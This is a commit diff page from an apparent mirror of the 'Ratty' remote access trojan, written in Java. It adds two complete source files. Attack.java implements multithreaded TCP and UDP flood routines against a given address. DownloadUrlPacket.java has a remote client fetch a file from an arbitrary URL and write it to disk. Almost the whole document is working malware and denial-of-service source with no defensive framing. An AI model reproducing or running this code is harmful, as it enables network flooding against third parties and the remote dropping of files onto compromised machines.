mirror of https://github.com/LucaBongiorni/Ratty
Sogomn
9 years ago
20 changed files with 303 additions and 66 deletions
-
BINRatty/res/gui_category_icons.png
-
11Ratty/res/language/lang.properties
-
2Ratty/res/language/lang_bsq.properties
-
11Ratty/res/language/lang_de.properties
-
11Ratty/res/language/lang_en.properties
-
2Ratty/res/language/lang_es.properties
-
2Ratty/res/language/lang_nl.properties
-
2Ratty/res/language/lang_ru.properties
-
2Ratty/res/language/lang_tr.properties
-
2Ratty/res/language/lang_uk.properties
-
BINRatty/res/lato.ttf
-
13Ratty/src/de/sogomn/rat/GUISettings.java
-
6Ratty/src/de/sogomn/rat/Ratty.java
-
92Ratty/src/de/sogomn/rat/attack/Attack.java
-
81Ratty/src/de/sogomn/rat/packet/DownloadUrlPacket.java
-
6Ratty/src/de/sogomn/rat/packet/PingPacket.java
-
4Ratty/src/de/sogomn/rat/packet/UploadFilePacket.java
-
3Ratty/src/de/sogomn/rat/server/AbstractRattyController.java
-
96Ratty/src/de/sogomn/rat/server/gui/RattyGui.java
-
23Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java
After Width: 64 | Height: 16 | Size: 363 B |
@ -0,0 +1,92 @@ |
|||
package de.sogomn.rat.attack; |
|||
|
|||
import java.io.IOException; |
|||
import java.io.OutputStream; |
|||
import java.net.BindException; |
|||
import java.net.DatagramPacket; |
|||
import java.net.DatagramSocket; |
|||
import java.net.InetSocketAddress; |
|||
import java.net.Socket; |
|||
|
|||
public final class Attack { |
|||
|
|||
private static final int TCP_INTERVAL = 1; |
|||
private static final int UDP_INTERVAL = 150; |
|||
|
|||
private Attack() { |
|||
//... |
|||
} |
|||
|
|||
public static void launchTcpWave(final String address, final int port, final int threads) { |
|||
final Runnable runnable = () -> { |
|||
try { |
|||
final Socket socket = new Socket(address, port); |
|||
final OutputStream out = socket.getOutputStream(); |
|||
|
|||
while (socket.isConnected() && !socket.isClosed()) { |
|||
final byte[] data = new byte[1]; |
|||
|
|||
out.write(data); |
|||
out.flush(); |
|||
|
|||
Thread.sleep(TCP_INTERVAL); |
|||
} |
|||
|
|||
out.close(); |
|||
socket.close(); |
|||
} catch (final InterruptedException ex) { |
|||
ex.printStackTrace(); |
|||
} catch (final IOException ex) { |
|||
System.err.println(ex.getMessage()); |
|||
} |
|||
}; |
|||
|
|||
for (int i = 0; i < threads; i++) { |
|||
final Thread thread = new Thread(runnable); |
|||
|
|||
thread.start(); |
|||
} |
|||
} |
|||
|
|||
public static void launchUdpWave(final String address, final int threads) { |
|||
final Runnable runnable = () -> { |
|||
/*65535 = Max port*/ |
|||
final int port = (int)(Math.random() * 65534) + 1; |
|||
final InetSocketAddress socketAddress = new InetSocketAddress(address, port); |
|||
|
|||
try { |
|||
final DatagramSocket socket = new DatagramSocket(); |
|||
final byte[] data = {1}; |
|||
final DatagramPacket packet = new DatagramPacket(data, data.length, socketAddress); |
|||
|
|||
socket.send(packet); |
|||
socket.close(); |
|||
} catch (final BindException ex) { |
|||
System.err.println(ex.getMessage()); |
|||
} catch (final IOException ex) { |
|||
ex.printStackTrace(); |
|||
} |
|||
}; |
|||
|
|||
for (int i = 0; i < threads; i++) { |
|||
final Thread thread = new Thread(runnable); |
|||
|
|||
thread.start(); |
|||
} |
|||
} |
|||
|
|||
public static void launchUdpFlood(final String address, final int milliseconds) { |
|||
final long time = System.currentTimeMillis(); |
|||
|
|||
while (System.currentTimeMillis() - time < milliseconds) { |
|||
launchUdpWave(address, 1); |
|||
|
|||
try { |
|||
Thread.sleep(UDP_INTERVAL); |
|||
} catch (final InterruptedException ex) { |
|||
ex.printStackTrace(); |
|||
} |
|||
} |
|||
} |
|||
|
|||
} |
@ -0,0 +1,81 @@ |
|||
package de.sogomn.rat.packet; |
|||
|
|||
import java.io.IOException; |
|||
import java.io.InputStream; |
|||
import java.net.HttpURLConnection; |
|||
import java.net.URL; |
|||
import java.util.List; |
|||
import java.util.Map; |
|||
|
|||
import de.sogomn.engine.util.FileUtils; |
|||
import de.sogomn.rat.ActiveConnection; |
|||
|
|||
public final class DownloadUrlPacket implements IPacket { |
|||
|
|||
private String address, directoryPath; |
|||
|
|||
private static final String HTTP_PREFIX = "http://"; |
|||
private static final String FILE_SEPARATOR = "/"; |
|||
|
|||
public DownloadUrlPacket(final String address, final String directoryPath) { |
|||
this.directoryPath = directoryPath; |
|||
|
|||
final boolean hasPrefix = address.startsWith(HTTP_PREFIX); |
|||
|
|||
if (hasPrefix) { |
|||
this.address = address; |
|||
} else { |
|||
this.address = HTTP_PREFIX + address; |
|||
} |
|||
} |
|||
|
|||
private byte[] readData(final String address) throws IOException { |
|||
final URL url = new URL(address); |
|||
final HttpURLConnection con = (HttpURLConnection)url.openConnection(); |
|||
final Map<String, List<String>> headers = con.getHeaderFields(); |
|||
final InputStream in = con.getInputStream(); |
|||
final int length = in.available(); |
|||
final byte[] data = new byte[length]; |
|||
|
|||
headers.keySet().stream().forEach(key -> { |
|||
final List<String> values = headers.get(key); |
|||
|
|||
System.out.print(key + ": "); |
|||
|
|||
for (final String value : values) { |
|||
System.out.print(value + " "); |
|||
} |
|||
|
|||
System.out.println(); |
|||
}); |
|||
|
|||
in.read(data); |
|||
|
|||
return data; |
|||
} |
|||
|
|||
@Override |
|||
public void send(final ActiveConnection connection) { |
|||
connection.writeUTF(address); |
|||
connection.writeUTF(directoryPath); |
|||
} |
|||
|
|||
@Override |
|||
public void receive(final ActiveConnection connection) { |
|||
address = connection.readUTF(); |
|||
directoryPath = connection.readUTF(); |
|||
} |
|||
|
|||
@Override |
|||
public void execute(final ActiveConnection connection) { |
|||
try { |
|||
final String path = directoryPath + FILE_SEPARATOR + ""; |
|||
final byte[] data = readData(address); |
|||
|
|||
FileUtils.writeData(path, data); |
|||
} catch (final IOException ex) { |
|||
ex.printStackTrace(); |
|||
} |
|||
} |
|||
|
|||
} |
Write
Preview
Loading…
Cancel
Save
Reference in new issue